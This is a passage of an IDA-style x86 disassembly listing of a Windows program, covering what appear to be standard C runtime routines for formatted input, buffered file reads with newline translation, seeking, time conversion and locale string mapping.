loc_41C112:				; CODE XREF: sub_41B7F5+865j
					; sub_41B7F5+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41C11A
		neg	edi


loc_41C11A:				; CODE XREF: sub_41B7F5+843j
					; sub_41B7F5+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41C123
		and	[ebp+var_1C], 0


loc_41C123:				; CODE XREF: sub_41B7F5+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41C1FB
		cmp	[ebp+var_E], 0
		jnz	short loc_41C15C
		inc	[ebp+var_34]


loc_41C136:				; CODE XREF: sub_41B7F5+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41C14C
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41C15C
; ---------------------------------------------------------------------------


loc_41C14C:				; CODE XREF: sub_41B7F5+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41C159
		mov	[eax], edi
		jmp	short loc_41C15C
; ---------------------------------------------------------------------------


loc_41C159:				; CODE XREF: sub_41B7F5+95Ej
		mov	[eax], di


loc_41C15C:				; CODE XREF: sub_41B7F5+241j
					; sub_41B7F5+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41C1A9
; ---------------------------------------------------------------------------


loc_41C167:				; CODE XREF: sub_41B7F5+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41C251
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41C1D6
		mov	ecx, ds:off_42F360
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41C1A9
		inc	[ebp+var_4]
		push	edi
		call	sub_41C251
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41C1E4
		dec	[ebp+var_4]


loc_41C1A9:				; CODE XREF: sub_41B7F5+970j
					; sub_41B7F5+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41C1BF
		cmp	byte ptr [esi],	25h
		jnz	short loc_41C201
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41C201
		mov	esi, eax


loc_41C1BF:				; CODE XREF: sub_41B7F5+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41B81F
		jmp	short loc_41C1FB
; ---------------------------------------------------------------------------


loc_41C1CB:				; CODE XREF: sub_41B7F5+1F4j
					; sub_41B7F5+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1D6:				; CODE XREF: sub_41B7F5+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41C1DB:				; CODE XREF: sub_41B7F5+9DFj
		call	sub_41C26B
		pop	ecx
		pop	ecx
		jmp	short loc_41C1FB
; ---------------------------------------------------------------------------


loc_41C1E4:				; CODE XREF: sub_41B7F5+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41C26B
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41C26B
		add	esp, 10h


loc_41C1FB:				; CODE XREF: sub_41B7F5+1Fj
					; sub_41B7F5+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41C212


loc_41C201:				; CODE XREF: sub_41B7F5+9BDj
					; sub_41B7F5+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41C215
		cmp	[ebp+var_15], al
		jnz	short loc_41C215
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C215
; ---------------------------------------------------------------------------


loc_41C212:				; CODE XREF: sub_41B7F5+A0Aj
		mov	eax, [ebp+var_34]


loc_41C215:				; CODE XREF: sub_41B7F5+A11j
					; sub_41B7F5+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B7F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C21A	proc near		; CODE XREF: sub_41B7F5+7A3p
					; sub_41B7F5+8DCp

arg_0		= dword	ptr  4

		cmp	ds:dword_42F56C, 1
		push	esi
		jle	short loc_41C234
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41C243
; ---------------------------------------------------------------------------


loc_41C234:				; CODE XREF: sub_41C21A+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:off_42F360
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C243:				; CODE XREF: sub_41C21A+18j
		test	eax, eax
		jnz	short loc_41C24D
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41C24D:				; CODE XREF: sub_41C21A+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41C21A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C251	proc near		; CODE XREF: sub_41B7F5+1E1p
					; sub_41B7F5+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41C263
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41C263:				; CODE XREF: sub_41C251+7j
		push	edx
		call	sub_41C368
		pop	ecx
		retn
sub_41C251	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C26B	proc near		; CODE XREF: sub_41B7F5+6Bp
					; sub_41B7F5+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41C281
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41EB6F
		pop	ecx
		pop	ecx

locret_41C281:				; CODE XREF: sub_41C26B+5j
		retn
sub_41C26B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C282	proc near		; CODE XREF: sub_41B7F5+63p
					; sub_41B7F5+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41C288:				; CODE XREF: sub_41C282+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41C251
		mov	edi, eax
		push	edi
		call	sub_41EB21
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41C288
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41C282	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2A6	proc near		; CODE XREF: sub_416ACB+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41C362
		cmp	ebx, 8Ah
		jg	loc_41C362
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, ds:dword_431E14[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41C2E5
		cmp	edi, 2
		jle	short loc_41C2E5
		inc	esi


loc_41C2E5:				; CODE XREF: sub_41C2A6+37j
					; sub_41C2A6+3Cj
		call	sub_41EBDD
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, ds:dword_431D30
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41C358
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41C35E
		cmp	ds:dword_431D34, 0
		jz	short loc_41C35E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EE50
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41C35E


loc_41C358:				; CODE XREF: sub_41C2A6+90j
		add	ecx, ds:dword_431D38


loc_41C35E:				; CODE XREF: sub_41C2A6+96j
					; sub_41C2A6+9Fj ...
		mov	eax, ecx
		jmp	short loc_41C365
; ---------------------------------------------------------------------------


loc_41C362:				; CODE XREF: sub_41C2A6+13j
					; sub_41C2A6+1Fj
		or	eax, 0FFFFFFFFh


loc_41C365:				; CODE XREF: sub_41C2A6+BAj
		pop	ebx
		leave
		retn
sub_41C2A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C368	proc near		; CODE XREF: sub_416BA7+A9p
					; sub_41712C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41C43C
		test	al, 40h
		jnz	loc_41C43C
		test	al, 2
		jz	short loc_41C38E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41C43C
; ---------------------------------------------------------------------------


loc_41C38E:				; CODE XREF: sub_41C368+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41C3A2
		push	esi
		call	sub_41DAF8
		pop	ecx
		jmp	short loc_41C3A7
; ---------------------------------------------------------------------------


loc_41C3A2:				; CODE XREF: sub_41C368+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41C3A7:				; CODE XREF: sub_41C368+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41C441
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41C42B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C42B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41C400
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41C3E9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, ds:dword_4CA3C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41C3EE
; ---------------------------------------------------------------------------


loc_41C3E9:				; CODE XREF: sub_41C368+6Bj
		mov	edi, offset dword_4319E0


loc_41C3EE:				; CODE XREF: sub_41C368+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41C400
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41C400:				; CODE XREF: sub_41C368+62j
					; sub_41C368+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41C41D
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41C41D
		test	ch, 4
		jnz	short loc_41C41D
		mov	dword ptr [esi+18h], 1000h


loc_41C41D:				; CODE XREF: sub_41C368+9Fj
					; sub_41C368+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41C42B:				; CODE XREF: sub_41C368+55j
					; sub_41C368+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41C43C:				; CODE XREF: sub_41C368+Aj
					; sub_41C368+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41C368	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C441	proc near		; CODE XREF: sub_416BA7+90p
					; sub_41C368+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, ds:dword_4CA4C0
		jnb	loc_41C61E
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4CA3C0h[eax*4]
		mov	eax, ds:dword_4CA3C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41C61E
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41C4F6
		test	dl, 2
		jnz	short loc_41C4F6
		test	dl, 48h
		jz	short loc_41C4B6
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41C4B6
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41C4B6:				; CODE XREF: sub_41C441+56j
					; sub_41C441+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:off_422098
		test	eax, eax
		jnz	short loc_41C509
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41C4F1
		mov	ds:dword_4C9084, 9
		mov	ds:dword_4C9088, ecx
		jmp	loc_41C62F
; ---------------------------------------------------------------------------


loc_41C4F1:				; CODE XREF: sub_41C441+99j
		cmp	eax, 6Dh
		jnz	short loc_41C4FD


loc_41C4F6:				; CODE XREF: sub_41C441+4Cj
					; sub_41C441+51j
		xor	eax, eax
		jmp	loc_41C632
; ---------------------------------------------------------------------------


loc_41C4FD:				; CODE XREF: sub_41C441+B3j
		push	eax
		call	sub_41D064
		pop	ecx
		jmp	loc_41C62F
; ---------------------------------------------------------------------------


loc_41C509:				; CODE XREF: sub_41C441+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41C619
		test	edx, edx
		jz	short loc_41C52E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41C52E
		or	al, 4
		jmp	short loc_41C530
; ---------------------------------------------------------------------------


loc_41C52E:				; CODE XREF: sub_41C441+E2j
					; sub_41C441+E7j
		and	al, 0FBh


loc_41C530:				; CODE XREF: sub_41C441+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41C613


loc_41C548:				; CODE XREF: sub_41C441+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41C603
		cmp	al, 0Dh
		jz	short loc_41C564
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41C5F5
; ---------------------------------------------------------------------------


loc_41C564:				; CODE XREF: sub_41C441+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41C582
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41C579
		add	[ebp+arg_8], 2
		jmp	short loc_41C5D7
; ---------------------------------------------------------------------------


loc_41C579:				; CODE XREF: sub_41C441+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41C5F5
; ---------------------------------------------------------------------------


loc_41C582:				; CODE XREF: sub_41C441+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:off_422098
		test	eax, eax
		jnz	short loc_41C5AA
		call	ds:dword_42206C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41C5F1


loc_41C5AA:				; CODE XREF: sub_41C441+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41C5F1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41C5CC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41C5D7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41C5F5
; ---------------------------------------------------------------------------


loc_41C5CC:				; CODE XREF: sub_41C441+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41C5DC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41C5DC


loc_41C5D7:				; CODE XREF: sub_41C441+136j
					; sub_41C441+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41C5F4
; ---------------------------------------------------------------------------


loc_41C5DC:				; CODE XREF: sub_41C441+18Ej
					; sub_41C441+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41C637
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41C5F5


loc_41C5F1:				; CODE XREF: sub_41C441+167j
					; sub_41C441+16Dj
		mov	byte ptr [edi],	0Dh


loc_41C5F4:				; CODE XREF: sub_41C441+199j
		inc	edi


loc_41C5F5:				; CODE XREF: sub_41C441+11Ej
					; sub_41C441+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41C548
		jmp	short loc_41C613
; ---------------------------------------------------------------------------


loc_41C603:				; CODE XREF: sub_41C441+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41C613
		or	al, 2
		mov	[esi], al


loc_41C613:				; CODE XREF: sub_41C441+101j
					; sub_41C441+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41C619:				; CODE XREF: sub_41C441+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41C632
; ---------------------------------------------------------------------------


loc_41C61E:				; CODE XREF: sub_41C441+12j
					; sub_41C441+39j
		and	ds:dword_4C9088, 0
		mov	ds:dword_4C9084, 9


loc_41C62F:				; CODE XREF: sub_41C441+ABj
					; sub_41C441+C3j
		or	eax, 0FFFFFFFFh


loc_41C632:				; CODE XREF: sub_41C441+B7j
					; sub_41C441+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C441	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C637	proc near		; CODE XREF: sub_416E2E+67p
					; sub_417E43+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, ds:dword_4CA4C0
		push	esi
		push	edi
		jnb	short loc_41C6B9
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4CA3C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41C6B9
		push	eax
		call	sub_41DF52
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41C67B
		mov	ds:dword_4C9084, 9
		jmp	short loc_41C6CA
; ---------------------------------------------------------------------------


loc_41C67B:				; CODE XREF: sub_41C637+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:off_42209C
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41C69B
		call	ds:dword_42206C	; RtlGetLastWin32Error
		jmp	short loc_41C69D
; ---------------------------------------------------------------------------


loc_41C69B:				; CODE XREF: sub_41C637+5Aj
		xor	eax, eax


loc_41C69D:				; CODE XREF: sub_41C637+62j
		test	eax, eax
		jz	short loc_41C6AA
		push	eax
		call	sub_41D064
		pop	ecx
		jmp	short loc_41C6CA
; ---------------------------------------------------------------------------


loc_41C6AA:				; CODE XREF: sub_41C637+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41C6CD
; ---------------------------------------------------------------------------


loc_41C6B9:				; CODE XREF: sub_41C637+Dj
					; sub_41C637+2Aj
		and	ds:dword_4C9088, 0
		mov	ds:dword_4C9084, 9


loc_41C6CA:				; CODE XREF: sub_41C637+42j
					; sub_41C637+71j
		or	eax, 0FFFFFFFFh


loc_41C6CD:				; CODE XREF: sub_41C637+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41C637	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C6D1	proc near		; CODE XREF: sub_416E2E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41C6ED
		mov	[edi+4], ebx


loc_41C6ED:				; CODE XREF: sub_41C6D1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41C637
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41C75B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41C712
		sub	eax, [edi+4]
		jmp	loc_41C824
; ---------------------------------------------------------------------------


loc_41C712:				; CODE XREF: sub_41C6D1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41C74C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, ds:dword_4CA3C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41C763
		mov	edx, ecx


loc_41C73D:				; CODE XREF: sub_41C6D1+79j
		cmp	edx, eax
		jnb	short loc_41C763
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41C749
		inc	[ebp+var_8]


loc_41C749:				; CODE XREF: sub_41C6D1+73j
		inc	edx
		jmp	short loc_41C73D
; ---------------------------------------------------------------------------


loc_41C74C:				; CODE XREF: sub_41C6D1+50j
		test	dl, 80h
		jnz	short loc_41C763
		mov	ds:dword_4C9084, 16h


loc_41C75B:				; CODE XREF: sub_41C6D1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41C824
; ---------------------------------------------------------------------------


loc_41C763:				; CODE XREF: sub_41C6D1+68j
					; sub_41C6D1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41C771
		mov	eax, [ebp+var_8]
		jmp	loc_41C824
; ---------------------------------------------------------------------------


loc_41C771:				; CODE XREF: sub_41C6D1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41C81C
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41C78A
		and	[ebp+var_8], edx
		jmp	loc_41C81C
; ---------------------------------------------------------------------------


loc_41C78A:				; CODE XREF: sub_41C6D1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CA3C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41C816
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41C637
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41C7DD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41C7C8:				; CODE XREF: sub_41C6D1+104j
		cmp	eax, ecx
		jnb	short loc_41C7D7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41C7D4
		inc	[ebp+arg_0]


loc_41C7D4:				; CODE XREF: sub_41C6D1+FEj
		inc	eax
		jmp	short loc_41C7C8
; ---------------------------------------------------------------------------


loc_41C7D7:				; CODE XREF: sub_41C6D1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41C811
; ---------------------------------------------------------------------------


loc_41C7DD:				; CODE XREF: sub_41C6D1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41C637
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41C804
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41C804
		test	ch, 4
		jz	short loc_41C807


loc_41C804:				; CODE XREF: sub_41C6D1+124j
					; sub_41C6D1+12Cj
		mov	eax, [edi+18h]


loc_41C807:				; CODE XREF: sub_41C6D1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41C811:				; CODE XREF: sub_41C6D1+10Aj
		jz	short loc_41C816
		inc	[ebp+arg_0]


loc_41C816:				; CODE XREF: sub_41C6D1+D9j
					; sub_41C6D1:loc_41C811j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41C81C:				; CODE XREF: sub_41C6D1+A4j
					; sub_41C6D1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41C824:				; CODE XREF: sub_41C6D1+3Cj
					; sub_41C6D1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C6D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C829	proc near		; CODE XREF: sub_417183+47p
					; sub_417183+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4228C8
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	ds:dword_4C9110, edi
		jnz	short loc_41C89F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4228C0
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_4221B0	; LCMapStringW
		test	eax, eax
		jz	short loc_41C87D
		mov	ds:dword_4C9110, ebx
		jmp	short loc_41C89F
; ---------------------------------------------------------------------------


loc_41C87D:				; CODE XREF: sub_41C829+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4325D4
		push	esi
		push	edi
		call	ds:dword_4221AC	; LCMapStringA
		test	eax, eax
		jz	loc_41C9B7
		mov	ds:dword_4C9110, 2


loc_41C89F:				; CODE XREF: sub_41C829+2Ej
					; sub_41C829+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41C8B4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_420586
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41C8B4:				; CODE XREF: sub_41C829+79j
		mov	eax, ds:dword_4C9110
		cmp	eax, 2
		jnz	short loc_41C8DB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4221AC	; LCMapStringA
		jmp	loc_41C9B9
; ---------------------------------------------------------------------------


loc_41C8DB:				; CODE XREF: sub_41C829+93j
		cmp	eax, 1
		jnz	loc_41C9B7
		cmp	[ebp+arg_18], edi
		jnz	short loc_41C8F1
		mov	eax, ds:dword_4C912C
		mov	[ebp+arg_18], eax


loc_41C8F1:				; CODE XREF: sub_41C829+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_422134	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41C9B7
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D00
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41C94C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41C94C:				; CODE XREF: sub_41C829+10Ej
